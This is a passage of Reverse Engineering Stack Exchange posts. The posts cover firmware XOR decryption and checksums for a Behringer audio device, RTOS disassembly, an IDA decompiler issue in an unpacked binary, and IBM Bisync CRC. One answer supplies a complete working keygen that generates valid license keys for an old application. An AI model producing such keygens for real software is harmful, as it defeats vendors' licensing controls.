on</a>.</p>\n\n<h3>Disassembly</h3>\n\n<p>Further to the question from @Igor Skochinsky, I haven't yet tried to disassemble the bootloader as I'm not sure how to go about it.  Here's the <a href=\"http://files.shikadi.net/malv/files/stackexchange/deq2496-bootloader.bin\" rel=\"nofollow noreferrer\">bootloader code</a>, which may contain a 10-byte header according to the <a href=\"https://www.analog.com/media/en/technical-documentation/data-sheets/ADSP-BF531_BF532_BF533.pdf\" rel=\"nofollow noreferrer\">Blackfin ADSP-BF531 datasheet</a>.</p>\n\n<p>To avoid confusion if anyone is able to disassemble the code, the XOR encryption I am asking about is only applied during the flash ROM programming stage.  A block of data comes in as 7-bit data via the MIDI port (function number 0x34 \"write flash block\"), is decoded into 8-bit data, an unrelated XOR decrypt with the key <code>TZ'04</code> is applied (the key is loaded from offset 0x2C84), the CRC is checked, the three-byte header is stripped and the remaining 256-byte block is (presumably) stored in RAM.</p>\n\n<p>The manual says the device only acknowledges the write after the 16th 256-byte block, which is 4 kB of data.  The XOR algorithm in question resets the key every 4 kB, so it would appear that the device collects the 256-byte blocks until it reaches 4 kB and applies the unknown XOR cipher at that point, after which it writes the resulting cleartext onto the flash chip (which is an SST39SF040, identified as chip ID 0xBFB7).</p>\n\n<p>Unrelated to this (but to help guide any disassembly), the bootloader also loads data from the flash chip during a normal boot and then XOR decodes it with an 'application key'.  This runtime XOR is solved as follows:</p>\n\n<ol>\n<li>Bootloader XOR key loaded from offset 0x3002, length 0x38.</li>\n<li>Bootloader ciphertext read from offset 0x303A, length 0x38.</li>\n<li>Bootloader XOR and ciphertext applied to produce the 'application key'.</li>\n<li>Flash memory is read from offset 0x4000, application key used for XOR, result stored in memory ready to execute.</li>\n</ol>\n",
        "Title": "Stuck on XOR decryption of firmware",
        "Tags": "|firmware|decryption|xor|",
        "Answer": "<p>Well thanks to @IgorSkochinsky's suggestion, I found a disassembler for the Blackfin architecture in the <a href=\"https://hub.docker.com/r/pf0camino/cross-bfin-elf\" rel=\"noreferrer\">pf0camino/cross-bfin-elf</a> Docker image.  Being in Docker meant it was easy to run and I didn't have to mess around with installing cross compilers myself.  I was then able to disassemble the image with this command:</p>\n\n<pre><code>bfin-elf-objdump -D -b binary -mbfin bootloader.bin &gt; bootloader.disasm\n</code></pre>\n\n<p>This produced a large text file, which took some time to go through since the output didn't have any sort of automatic recognition applied to it.  Nevertheless, after reading up on Blackfin assembler and searching for various known constants, I was able to work out what the code was doing.</p>\n\n<p>Eventually I found the decryption function, and converted it to Javascript for use in my project.  It came out like this:</p>\n\n<pre><code>function decodeBlock(baseBlockNum, data)\n{\n    // If the block is zero, the function won't change the data, so this magic\n    // number is used.  Block 0 is part of the bootloader, which never appears\n    // to be reflashed in official firmware images.\n    let key = baseBlockNum || 0x545A;\n\n    for (let pos = 0; pos &lt; data.length;) {\n        // Let's be fancy and execute the `if` statement without using an `if`.\n        //if (key &amp; 1) key ^= 0x8005;\n        key ^= (\n            ((key &amp; 1) &lt;&lt; 15)\n            | ((key &amp; 1) &lt;&lt; 2)\n            | (key &amp; 1)\n        );\n\n        // This rotate operation is a bit redundant, because the above XOR\n        // always clears the lower bit.  So let's skip that part.\n        //key = ((key &amp; 1) &lt;&lt; 15) | (key &gt;&gt; 1);\n        key &gt;&gt;= 1;\n\n        data[pos++] ^= key &amp; 0xFF;\n        data[pos++] ^= key &gt;&gt; 8;\n    }\n}\n</code></pre>\n\n<p>The <code>baseBlockNum</code> parameter is the ROM address for the block, in units of 0x1000 bytes.  So for a block to be flashed at address 0x4000, the parameter is 4.</p>\n\n<p>I've tested this on the full firmware file and it decrypts it successfully!</p>\n"
    },
    {
        "Id": "23099",
        "CreationDate": "2020-01-25T10:58:00.530",
        "Body": "<p>The Behringer DEQ2496 audio device can have commands sent to it via MIDI, however they require a valid CRC code in order for the device to accept them.</p>\n<p>I have thus far been unable to work out how the CRC code is calculated.  The manual suggests it is CRC8 however I have not been able to configure a CRC8 algorithm to produce matching values.</p>\n<p>Here is some sample data, including valid CRC codes:</p>\n<ul>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/block-40.bin\" rel=\"nofollow noreferrer\">Block 0x0040</a></li>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/block-41.bin\" rel=\"nofollow noreferrer\">Block 0x0041</a></li>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/block-41.bin\" rel=\"nofollow noreferrer\">Block 0x0042</a></li>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/block-42.bin\" rel=\"nofollow noreferrer\">Block 0x0043</a></li>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/block-43.bin\" rel=\"nofollow noreferrer\">Block 0x0043</a></li>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/block-ff00.bin\" rel=\"nofollow noreferrer\">Block 0xFF00</a></li>\n</ul>\n<p>The DEQ2496 SysEx manual says of the layout of each of the above files:</p>\n<blockquote>\n<p><strong>blockdata</strong>: 7/8 coded: blockno_h, blockno_l, crc, data[256].</p>\n<p><strong>crc</strong>: crc8 checksum of blockno_h, blockno_l, data[256]</p>\n<p><strong>blockno</strong>: transferred 256 byte data block number (bits 21..15, 14..8 of flash offset); blocks 0-0x1f: boot loader; blocks 0x20..0x5ef: application; blocks 0x5f0-0x5ff: startup screen; blocks 0x600-0x67f: presets; blocks 0x680-0x69f: temporary buffers; blocks 0x6a0-0x7ff: hw configuration; block no 0xff00 shows text message data[0..52] on screen</p>\n<p><strong>data</strong>: data block</p>\n</blockquote>\n<p>I have taken care of the 7/8 coding, so now I have a block of 3+256 bytes, consisting of:</p>\n<ul>\n<li>Offset 0: 16-bit big endian integer, block number</li>\n<li>Offset 2: 8-bit integer, CRC (this is the value I am trying to calculate)</li>\n<li>Offset 3+: Actual data</li>\n</ul>\n<p>I've tried a couple of CRC algorithms (with and without a lookup table), written code to run through all possible 8-bit polynomials, initial and final XOR values, and yet I can't find any parameters that work for more than one block.</p>\n<p>Although the manual suggests the CRC byte itself is not included in the CRC calculation, I also tried leaving it in place and setting it to various values like <code>0x00</code> and <code>0xFF</code> however this didn't yield any results either.</p>\n<p>Is there anyone with more CRC knowledge than me who is able to figure out what they mean here by &quot;crc8 checksum&quot;?</p>\n",
        "Title": "Behringer CRC8 algorithm",
        "Tags": "|crc|",
        "Answer": "<p>Well thanks to @IgorSkochinsky who suggested in another question of mine to try a disassembler, I found a <a href=\"https://hub.docker.com/r/pf0camino/cross-bfin-elf\" rel=\"nofollow noreferrer\">Docker image that contained a Blackfin toolchain</a> which allowed me to use <code>objdump</code> to disassemble the code:</p>\n\n<pre><code>bfin-elf-objdump -D -b binary -mbfin bootloader.bin &gt; bootloader.disasm\n</code></pre>\n\n<p>After hastily consulting a manual on Blackfin assembler and poking around a bit, I was able to get a vague idea of what was going on, and I was able to find the CRC function, which turned out not to be a CRC function at all, but a DIY checksum.</p>\n\n<p>Using the disassembly as a reference, I was able to replicate the algorithm in my Javascript code:</p>\n\n<pre><code>function behringer_crc8(data) {\n    let crc = 0;\n    for (let b of data) {\n        for (let j = 0; j &lt; 8; j++) {\n            if (!((b ^ crc) &amp; 1)) crc ^= 0x19;\n            b &gt;&gt;= 1;\n            // Rotate (shift right, move lost LSB to new MSB)\n            crc = ((crc &amp; 1) &lt;&lt; 7) | (crc &gt;&gt; 1);\n        }\n    }\n    return crc ^ 0xbf;\n}\n</code></pre>\n\n<p>Comparing this code against the distributed firmware update shows that it is able to reproduce the CRC bytes correctly!</p>\n\n<p>It also turned out that despite the manual saying the two-byte block number prefix was included in the checksum, it turned out it wasn't, and only the 256-byte content is checksummed.</p>\n"
    },
    {
        "Id": "23101",
        "CreationDate": "2020-01-25T15:48:37.180",
        "Body": "<p>So I have an ancient application for a company that has since gone bust and I thought I'd look at how it works; it provides a key, and requires a key given to it. Both these keys are encoded in a certain way and then parts of the encoded value are compared for equality. Firstly I'll explain the encoding process as I have remade it in javascript</p>\n\n<p>This appears to be a caesar cipher in some shape or form and I'm pretty sure it equates to the formula:\n<code>C(x) = (P(b - a - x + 284) mod 26) + 48</code> where<br>\nx = character number<br>\nb = current characters index in alphabet<br>\na = previous letters index in alphabet</p>\n\n\n\n<pre><code>const alphabet = `SDHACENOIFKXQLBMPJTZURWVGY`\n\nfunction encodeString(s) {\n    var result = s.charAt(0),\n        lastLetterIdx = alphabet.indexOf(s.charAt(0)) \n\n    for(let i = 0; i &lt; s.length - 1; i++) {\n        let thisLetterIdx = alphabet.indexOf(s.charAt(i + 1)) \n        let cypherNum = thisLetterIdx - lastLetterIdx - i\n        cypherNum += 284\n        let modNum = cypherNum % 26\n        let encChar = String.fromCharCode(modNum + 48)\n\n        result += encChar\n\n        lastLetterIdx = thisLetterIdx\n    }\n\n    return result\n}\n</code></pre>\n\n<p>A key provided by the software is<br>\n<code>ALVMGRCTQQEYMNAHDANKPGKPO</code><br>\nwhich gets encoded to<br>\n<code>A87&gt;4A26;@8833898:::;&lt;?8B</code></p>\n\n<p>The code is then checksumed by skipping the first character and adding the ascii values up, so in this case that number is 1378, mod 25 = 3 and the alphabet character at position 3 (0 indexed) is <code>A</code> which matches the first character of the key.</p>\n\n<p>For encoding step 2 the software takes characters 1-12 (87>4A26;@883) and encodes it into a number via the following:</p>\n\n\n\n<pre><code>function encodedStringToNumber(str) {\n    var number = 0,\n        letterMulti = 1\n    for(let i = str.length; i &gt; 0; i--) {\n        if(i &lt; str.length)\n            letterMulti = letterMulti * 19\n\n        let letter = str.charCodeAt(i-1)\n        letter -= 48\n        letter *= letterMulti\n\n        number += letter\n    }\n    return number\n}\n</code></pre>\n\n<p>It then converts the number to a string and pads left with <code>0</code> to ensure its 15 characters long, after doing that with both half's it string concats the numbers to get a result of<br>\n<code>979440403325666401568800000018</code></p>\n\n<p>If we do the same thing with a random test key I made of  <code>VABCDEFGHIJKLMNOPQRSTUVWXYZABK</code><br>\nwe get an encrypted key of<br>\n<code>V48&lt;BHG7EFH7@&gt;2;B4@;G661@&gt;C88B</code><br>\nthat gets checksumd as before and then gets converted to a string with 11 characters from index 1, 11 characters from index 12 and 7 characters from index 23, so:</p>\n\n<pre><code>48&lt;BHG7EFH7\n@&gt;2;B4@;G66\n1@&gt;C88B\n</code></pre>\n\n<p>We convert them to numbers then ensure string lengths of 14, 14 and 7 by padding the left with <code>0</code> again. So a result of<br>\n<code>2732684617734210265934650819588621338</code></p>\n\n<p>We now split this number and the number provided in the software down to some key elements and compare the values.</p>\n\n<p>Lets say key A is the software provided key of <code>979440403325666401568800000018</code> and key B is the key I'm randomly using of <code>2732684617734210265934650819588621338</code></p>\n\n<p>From key A take characters (indexes are 1 based here):  </p>\n\n<pre><code>3-4   (94)\n28-29 (01)\n6-7   (04)\n8-9   (03)\n10-15 (325666)\n5     (4)\n17-22 (015688)\n</code></pre>\n\n<p>From key B take:</p>\n\n<pre><code>3-4   (32)\n1-2   (27)\n29-30 (58)\n15-16 (10)\n31-36 (862133)\n28    (9)\n17-22 (265934)\n</code></pre>\n\n<p>Those values need to be the same and as an added check key B 6-8 needs to be \"999\" (i think this is an install flag and 000 is an uninstall flag)</p>\n\n<p>So with the key given by application I know I need to make a key that encrypts to the following number (where X can be anything):<br>\n<code>0194x999xxxxxx03015688xxxxx404325666x</code></p>\n\n<p>This number needs to satisfy the comparisons, have the 999 in the correct place and when encoded as letters needs to validate the checksum mentioned earlier along with each letter of the encoded value being >= '0', by that I mean the ascii value is at or above 48.</p>\n\n<p>The problem I have is given the way it encrypts the key I can't for the life of me work out how they could make a program which does the reverse, the first step seems easy if I knew how to do modular arithmetic, but converting a number to letters is straight up beyond me. </p>\n",
        "Title": "Reversing an encoded key with a given cipher - figuring out the reverse algorithm",
        "Tags": "|decryption|",
        "Answer": "<p>I'm write keygen random: <code>keygen('ALVMGRCTQQEYMNAHDANKPGKPO')</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/wSLNc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wSLNc.png\" alt=\"run\"></a></p>\n\n<pre><code>GSFLOWZJOEWPOQFXFHVASFTPNBNTEJ      -&gt;      G060?9@@7&gt;684A8&lt;712&lt;2=&lt;0A8A::8\n\n060?9@@7&gt;68           4A8&lt;712&lt;2=&lt;            0A8A::8\n01949999431597        030156882999840        43256662 (length 14 + 15 + 8 = 37)\n</code></pre>\n\n<p><strong>0194999943159703015688299984043256662</strong> this satisfy with <strong>0194x999xxxxxx03015688xxxxx404325666x</strong> :D</p>\n\n\n\n<pre><code>// example\nkeygen('ALVMGRCTQQEYMNAHDANKPGKPO')\n// source\nfunction keygen(code) {\n let indexes = [\n  [3, 4, 28, 29,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,  5, 17, 18, 19, 20, 21, 22],\n  [3, 4,  1,  2, 29, 30, 15, 16, 31, 32, 33, 34, 35, 36, 28, 17, 18, 19, 20, 21, 22]\n ]\n code = encodeString(code)\n let num = encodeNumber(code.substr(1, 12)).toString().padStart(15,0)+encodeNumber(code.substr(13, 12)).toString().padStart(15,0)\n let key = [...Array(37)].map((e,i)=&gt;[5,6,7].indexOf(i) &gt;= 0 ? '9' : Math.floor(Math.random()*10).toString())\n indexes[0].forEach((e,i)=&gt;key[indexes[1][i]-1]=num[e-1]), key = key.join('')\n\n let result = decodeNumber(key.substr(0, 14)).padStart(11,0)+decodeNumber(key.substr(14, 15)).padStart(11,0)+decodeNumber(key.substr(29, 8)).padStart(7,0)\n return decodeString(sum(result,0)+result)\n}\n\nvar alphabet = `SDHACENOIFKXQLBMPJTZURWVGY`\nfunction encodeString(s) {\n let result = s.charAt(0), idx = alphabet.indexOf(s.charAt(0))\n for (let i=0; i&lt;s.length-1; i++) {\n  result += String.fromCharCode((alphabet.indexOf(s.charAt(i + 1))-idx-i+284)%26+48) \n  idx = alphabet.indexOf(s.charAt(i + 1))\n }\n return result\n}\nfunction decodeString(s) {\n let result = s.charAt(0), idx = alphabet.indexOf(s.charAt(0))\n for (let i=0; i&lt;s.length-1; i++) {\n  let num = (s.charCodeAt(i + 1) - 48)\n  idx = [...alphabet].findIndex((x,y) =&gt; (y-idx-i+284)%26 == num)\n  result += alphabet[idx]\n }\n return result\n}\nfunction encodeNumber(s) {\n let n = 0, l = 1\n for (let i=s.length; i&gt;0; i--) {\n  let c = (s.charCodeAt(i-1)-48)*l\n  n += c, l *= 19\n }\n return n\n}\nfunction decodeNumber(n) {\n let c = 0, s = []\n for (let i=0; c != n; i++) {\n  let v = (n % 19**(i+1))\n  s.push((v-c)/19**i+48)\n  c = v\n }\n return String.fromCharCode.apply(null, s.reverse())\n}\nfunction sum(s, idx = 1) {\n let cs = 0\n for (; idx &lt; s.length; idx++) cs+=s.charCodeAt(idx)\n return alphabet[cs%25]\n}\n</code></pre>\n"
    },
    {
        "Id": "23104",
        "CreationDate": "2020-01-25T19:56:41.330",
        "Body": "<p>I am reverse engineering a firmware which has a Linux and an RTOS component. I used binwalk to easily locate the Linux filesystems, extract them, mount them, and now I have binaries which I can open in IDA Pro and continue working on.</p>\n\n<p>However, I am having a <em>much more difficult time</em> doing this with the RTOS side of the firmware. In my target firmware image, I was able to identify that the RTOS sits <em>above</em> the Linux filesystems in memory address, by performing some string searches for common RTOS-related things. The code is definitely ARM, likely 32 bit, little-endian. This is a Cortex-A7. I saw artifacts which indiciate that it is also likely an ITRON RTOS or perhaps FreeRTOS. But essentially, binwalk extracted 3-4 chunks of \"data\" files which contain all of this. So I am able to get some useful info from looking at string offsets in these chunks. Seeing as most of the data appear to be strings and ARM instructions, I've opened them in IDA Pro. IDA Takes A LONG TIME to parse, but once they're parsed, everything is just data and needs to be manually turned into code. This is where I'm hung-up. I have 2 main questions:</p>\n\n<ol>\n<li>Does an RTOS system like this have a proper \"file system\" that I could \"mount\" to view the binaries like I did with the Linux ext and squashfs ones? All filesystems I've ever worked with using binwalk have been Linux ones. What are common RTOS file systems if this is the case?</li>\n<li>If not, how can I go about viewing the ARM disassembly of these chunks in a legible way using IDA Pro?</li>\n</ol>\n",
        "Title": "How to make sense of RTOS in firmware?",
        "Tags": "|ida|firmware|file-format|firmware-analysis|operating-systems|",
        "Answer": "<p>Most RTOS code is usually a single monolithic binary and is not split into separate binaries like a high-level OS. Usually there is some startup code, some library routines and user-provided code in forms of <em>tasks</em> which are nothing more than simple functions performing the necessary work in a simple infinite loop. The \u201cmain function\u201d called by the RTOS startup would register the tasks, set up the shared resources like timers, queues, semaphores etc. and invoke the RTOS entry point which starts dispatching the tasks, switching between them periodically so that each gets a chance to run. </p>\n\n<p>While there is no file system, there may be other useful information in the binary. Most RTOSes allow you to give names to tasks so you may be able to find some strings and from the references discover task creation/registration functions. Sometimes a table of structures is used(e.g. a pointer with name and pointer to the task function). </p>\n\n<p>To force disassembly of a big chunk of code in IDA you can use selection, e.g.:</p>\n\n<ol>\n<li>Go to the potential start of code (e.g. beginning of the code segment)</li>\n<li>Drop selection anchor (Alt-L)</li>\n<li>Go to the end of code (e.g. by clicking in the navigation bar, scroll bar or via keyboard) do that the whole chunk is selected. </li>\n<li>Press C and pick Analyze or Force (you may need to experiment and see which one works better)</li>\n</ol>\n\n<p>Note that in some cases data may also be interpreted as valid instructions, so you might get false positives (especially with the \u201cforce\u201d option), which may require you to fix things up afterwards. But this should help you get started and discover some valid code. </p>\n"
    },
    {
        "Id": "23117",
        "CreationDate": "2020-01-27T04:11:54.207",
        "Body": "<p>I'm trying to analyze a binary that I unpacked, rebuilt, and dumped, using Scylla. After loading it into IDA and viewing pseudocode, I can see that there are errors where IDA tells me that it notices writes to constant memory addresses. After some searching online, I find that this seems quite common, but I haven't really come across a solution for fixing it, and I've just tried to ignore it up to now.</p>\n\n<p><a href=\"https://i.stack.imgur.com/IAwoR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IAwoR.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/32Agt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/32Agt.png\" alt=\"enter image description here\"></a></p>\n\n<p>At first, I tried to just change all my segments to have write access, but that didn't seem to change anything. <code>0x007F944F</code> is the first memory error.</p>\n\n<p>Would anyone mind telling me how I go about to solve this? Thank you.</p>\n\n<p>EDIT: Here is the entire disassembly of that function:</p>\n\n<pre><code>.MPRESS1:007F93F2                     align 10h\n.MPRESS1:007F9400\n.MPRESS1:007F9400     ; =============== S U B R O U T I N E =======================================\n.MPRESS1:007F9400\n.MPRESS1:007F9400     ; Attributes: bp-based frame\n.MPRESS1:007F9400\n.MPRESS1:007F9400     sub_7F9400      proc near               ; CODE XREF: Stool__ctor+6F\u2191p\n.MPRESS1:007F9400                                             ; Stool__ctor+91\u2191p ...\n.MPRESS1:007F9400\n.MPRESS1:007F9400     a3              = dword ptr  8\n.MPRESS1:007F9400     u0              = dword ptr  0Ch\n.MPRESS1:007F9400\n.MPRESS1:007F9400 000                 push    ebp\n.MPRESS1:007F9401 004                 mov     ebp, esp\n.MPRESS1:007F9403 004                 cmp     ds:lpParameter, 0\n.MPRESS1:007F940A 004                 jz      short loc_7F9410\n.MPRESS1:007F940C 004                 xor     eax, eax\n.MPRESS1:007F940E 004                 pop     ebp\n.MPRESS1:007F940F 000                 retn\n.MPRESS1:007F9410     ; ---------------------------------------------------------------------------\n.MPRESS1:007F9410\n.MPRESS1:007F9410     loc_7F9410:                             ; CODE XREF: sub_7F9400+A\u2191j\n.MPRESS1:007F9410 004                 push    esi             ; a2\n.MPRESS1:007F9411 008                 push    offset sub_7F49C0 ; lpTopLevelExceptionFilter\n.MPRESS1:007F9416 00C                 call    ds:SetUnhandledExceptionFilter\n.MPRESS1:007F941C 008                 push    3DA4h           ; size_t\n.MPRESS1:007F9421 00C                 mov     esi, eax        ; a2\n.MPRESS1:007F9423 00C                 call    ??2@YAPAXI@Z    ; operator new(uint)\n.MPRESS1:007F9428 00C                 add     esp, 4\n.MPRESS1:007F942B 008                 test    eax, eax\n.MPRESS1:007F942D 008                 jz      short loc_7F9438\n.MPRESS1:007F942F 008                 mov     ecx, eax\n.MPRESS1:007F9431 008                 call    StoolGuard__ctor\n.MPRESS1:007F9436 008                 jmp     short loc_7F943A\n.MPRESS1:007F9438     ; ---------------------------------------------------------------------------\n.MPRESS1:007F9438\n.MPRESS1:007F9438     loc_7F9438:                             ; CODE XREF: sub_7F9400+2D\u2191j\n.MPRESS1:007F9438 008                 xor     eax, eax\n.MPRESS1:007F943A\n.MPRESS1:007F943A     loc_7F943A:                             ; CODE XREF: sub_7F9400+36\u2191j\n.MPRESS1:007F943A 008                 push    [ebp+a3]        ; a2\n.MPRESS1:007F943D 00C                 mov     ecx, eax        ; a1\n.MPRESS1:007F943F 00C                 mov     ds:lpParameter, eax\n.MPRESS1:007F9444 00C                 call    sub_7F6610\n.MPRESS1:007F9449 008                 mov     ecx, ds:lpParameter\n.MPRESS1:007F944F 008                 mov     [ecx+10h], eax\n.MPRESS1:007F9452 008                 cmp     eax, 755h\n.MPRESS1:007F9457 008                 jz      short loc_7F9460\n.MPRESS1:007F9459 008                 call    sub_7F4B00\n.MPRESS1:007F945E 008                 jmp     short loc_7F9476\n.MPRESS1:007F9460     ; ---------------------------------------------------------------------------\n.MPRESS1:007F9460\n.MPRESS1:007F9460     loc_7F9460:                             ; CODE XREF: sub_7F9400+57\u2191j\n.MPRESS1:007F9460 008                 cmp     ds:byte_8EB238, 0\n.MPRESS1:007F9467 008                 jz      short loc_7F9476\n.MPRESS1:007F9469 008                 push    offset byte_8EB238 ; lpString\n.MPRESS1:007F946E 00C                 call    SToolGameGuard__Nop3\n.MPRESS1:007F9473 00C                 add     esp, 4\n.MPRESS1:007F9476\n.MPRESS1:007F9476     loc_7F9476:                             ; CODE XREF: sub_7F9400+5E\u2191j\n.MPRESS1:007F9476                                             ; sub_7F9400+67\u2191j\n.MPRESS1:007F9476 008                 mov     eax, ds:lpParameter\n.MPRESS1:007F947B 008                 mov     eax, [eax+18h]\n.MPRESS1:007F947E 008                 test    eax, eax\n.MPRESS1:007F9480 008                 jz      short loc_7F9489\n.MPRESS1:007F9482 008                 push    eax             ; hEvent\n.MPRESS1:007F9483 00C                 call    ds:SetEvent\n.MPRESS1:007F9489\n.MPRESS1:007F9489     loc_7F9489:                             ; CODE XREF: sub_7F9400+80\u2191j\n.MPRESS1:007F9489 008                 mov     eax, ds:lpParameter\n.MPRESS1:007F948E 008                 mov     eax, [eax+1Ch]\n.MPRESS1:007F9491 008                 test    eax, eax\n.MPRESS1:007F9493 008                 jz      short loc_7F949E\n.MPRESS1:007F9495 008                 push    0               ; uExitCode\n.MPRESS1:007F9497 00C                 push    eax             ; hProcess\n.MPRESS1:007F9498 010                 call    ds:TerminateProcess\n.MPRESS1:007F949E\n.MPRESS1:007F949E     loc_7F949E:                             ; CODE XREF: sub_7F9400+93\u2191j\n.MPRESS1:007F949E 008                 test    esi, esi\n.MPRESS1:007F94A0 008                 jz      short loc_7F94A9\n.MPRESS1:007F94A2 008                 push    esi             ; lpTopLevelExceptionFilter\n.MPRESS1:007F94A3 00C                 call    ds:SetUnhandledExceptionFilter\n.MPRESS1:007F94A9\n.MPRESS1:007F94A9     loc_7F94A9:                             ; CODE XREF: sub_7F9400+A0\u2191j\n.MPRESS1:007F94A9 008                 mov     eax, ds:lpParameter\n.MPRESS1:007F94AE 008                 pop     esi\n.MPRESS1:007F94AF 004                 mov     eax, [eax+10h]\n.MPRESS1:007F94B2 004                 pop     ebp\n.MPRESS1:007F94B3 000                 retn\n.MPRESS1:007F94B3     sub_7F9400      endp\n.MPRESS1:007F94B3\n.MPRESS1:007F94B3     ; ---------------------------------------------------------------------------\n</code></pre>\n",
        "Title": "IDA - How to resolve \"Write access to const memory detected\" error?",
        "Tags": "|ida|decompilation|error|",
        "Answer": "<p>At a guess, <code>lpParameter</code> is located in a segment marked read-only (e.g. a code section), so the decompiler considers its value to be constant (probably zero) which is why all subsequent accesses are also zero-based. There are two solutions:</p>\n\n<ol>\n<li><p>Mark the segment containing <code>lpParameter</code> to be writable (edit segment properties). In case the writable data is a small part of the otherwise read-only segment, creating a new segment just for data is a good idea</p></li>\n<li><p>Mark only <code>lpParameter</code> as writable by adding <code>volatile</code> specifier to its type definition (use the <kbd>Y</kbd> key). In a similar manner, an otherwise writable variable can be marked as constant by adding a <code>const</code> specifier.</p></li>\n</ol>\n\n<p>Reference: <a href=\"https://www.hex-rays.com/products/decompiler/manual/tricks.shtml\" rel=\"nofollow noreferrer\">Volatile and Constant memory</a>.</p>\n"
    },
    {
        "Id": "23123",
        "CreationDate": "2020-01-27T10:21:47.367",
        "Body": "<p>I am trying to connect to an old piece of communication controller which use the IBM BSC synchronous protocol but I have problems to get the CRC right.</p>\n\n<p><strong>Background</strong></p>\n\n<p>The protocol itself is described quite well in this document: </p>\n\n<p><a href=\"http://bitsavers.trailing-edge.com/pdf/ibm/datacomm/GA27-3004-2_General_Information_Binary_Synchronous_Communications_Oct70.pdf\" rel=\"nofollow noreferrer\">http://bitsavers.trailing-edge.com/pdf/ibm/datacomm/GA27-3004-2_General_Information_Binary_Synchronous_Communications_Oct70.pdf</a></p>\n\n<p>The sending communication processor is using the Motorola MC6852 chip. But the chip doesn't have hardware crc circuitry so there are software inside the comm. processor that does crc.</p>\n\n<p>The actual communication controller is described here: <a href=\"http://storage.datormuseum.se/u/96935524/Datormusuem/Alfaskop/Alfaskop_System_41_Reference_Manual_IBM3270_Emulation.pdf\" rel=\"nofollow noreferrer\">http://storage.datormuseum.se/u/96935524/Datormusuem/Alfaskop/Alfaskop_System_41_Reference_Manual_IBM3270_Emulation.pdf</a></p>\n\n<p>Page 89 and onwards describes its use of BSC.</p>\n\n<p>Then since this piece of equipment is IBM 3274 model C compatible this manual is applicable: <a href=\"http://bitsavers.informatik.uni-stuttgart.de/pdf/ibm/3274/GA23-0061-1_3274_Control_Unit_Description_and_Programmers_Guide_Jan84.pdf\" rel=\"nofollow noreferrer\">http://bitsavers.informatik.uni-stuttgart.de/pdf/ibm/3274/GA23-0061-1_3274_Control_Unit_Description_and_Programmers_Guide_Jan84.pdf</a></p>\n\n<p>Page 159 and onwards has essentially the same information as the other document.</p>\n\n<p><strong>Actual Messages</strong></p>\n\n<p>I have captured two messages sent by actual communication processor. Please note that the messages are coded in EBCDIC and not ASCII. These are responses to a POLL message. Page 172 and 175 in the IBM document above:</p>\n\n<p>32 01 6C D9 02 40 40 40 70 03 26 88\nand\n32 01 6C D9 02 40 C8 40 50 03 0D 28</p>\n\n<p>From my reading of the IBM document the CRC algorithm will reset when it sees a 01 (SOH) or 02 (STX)  and then accumulate until it sees a 03 (ETX). A SOH followed by a STX will not reset CRC again at the STX, though. Essentially this means that the CRC bytes in the messages above are the 2688 and 0D28. There is a leading SYN (32) but that is not included in the CRC calculation since it is before the SOH character. The message used for CRC calculation is then:\n6C D9 02 40 40 40 70 03 and  6C D9 02 40 C8 40 50 03 respectively. The SOH is not part of the calculation, however the trailing ETX just before the CRC is part of the CRC calculation.</p>\n\n<p>The messages above are received by an Intel 8274 chip. No CRC checking was done in the Intel chip though. </p>\n\n<p>Since the Intel 8274 chip do include a CRC checker/generator I should be able to both generate correctly formatted messages and to receive messages for further checking and investigation. I will pursue this path a bit to see if I could both receive and send using the 8274 chip and what CRC values that are generated.</p>\n\n<p>The 8274 chip itself supports two CRC algorithms. CRC-16 and CCITT CRC-16. My understanding is that IBM used CRC-16 with the polynomial X^16+X^15+X^2+1. I.e 8005. What initial value for crc was used is not described anywhere what I can see. A good guess though would be 0000h or possibly ffffh.</p>\n\n<p>The situation is that I would like to use a small STM32 micro controller to handle the BSC communications. I successfully had the program to achieve sync with the incoming data and extracted correctly formatted messages. But obviously communication would not work unless I can get the CRC calculation correct. WIP: <a href=\"https://github.com/MattisLind/alfaskop_emu/tree/master/Utils/BSCGateway\" rel=\"nofollow noreferrer\">https://github.com/MattisLind/alfaskop_emu/tree/master/Utils/BSCGateway</a></p>\n\n<p><strong>CRC reveng troubles</strong></p>\n\n<p>I have tried crc reveng tool to calculate CRC digits but I cannot get a match with the data above. Neither can I use crc reveng to search for an algorithm. It constantly reports that no models where found.</p>\n\n<p>Generating CRC using crc reveng with above messages as data in and polynomial 8005 doesn't give the corresponding output CRC data. I tried several initial values for CRC and also tested various variants of options for bit order but no match.</p>\n\n<p>Then I tried a few CRC algorithms in C found on internet. They all gave the same CRC value on the above messages but non of them matched the values in the messages neither the output from crc reveng.</p>\n\n<p>It is very likely that I have done something wrong when applying crc reveng, but I cannot figure out what.</p>\n\n<p><strong>Another test of crc reveng</strong></p>\n\n<p>Just to get a better understanding of crc reveng I tried a sample message where the input data buffer, initial CRC value and output CRC value was well known: <a href=\"https://stackoverflow.com/questions/23638939/crc-16-ibm-reverse-lookup-in-c\">https://stackoverflow.com/questions/23638939/crc-16-ibm-reverse-lookup-in-c</a></p>\n\n<p>The code in the first answer by Mark Adler give a result which is matching what is mentioned in the Maxim article. But I cannot recreate it in crc reveng, unfortunately.</p>\n\n<p>Hints on what I am doing wrong, please!</p>\n",
        "Title": "Reverse engineering the IBM BSC (Bisync) protocol",
        "Tags": "|serial-communication|crc|",
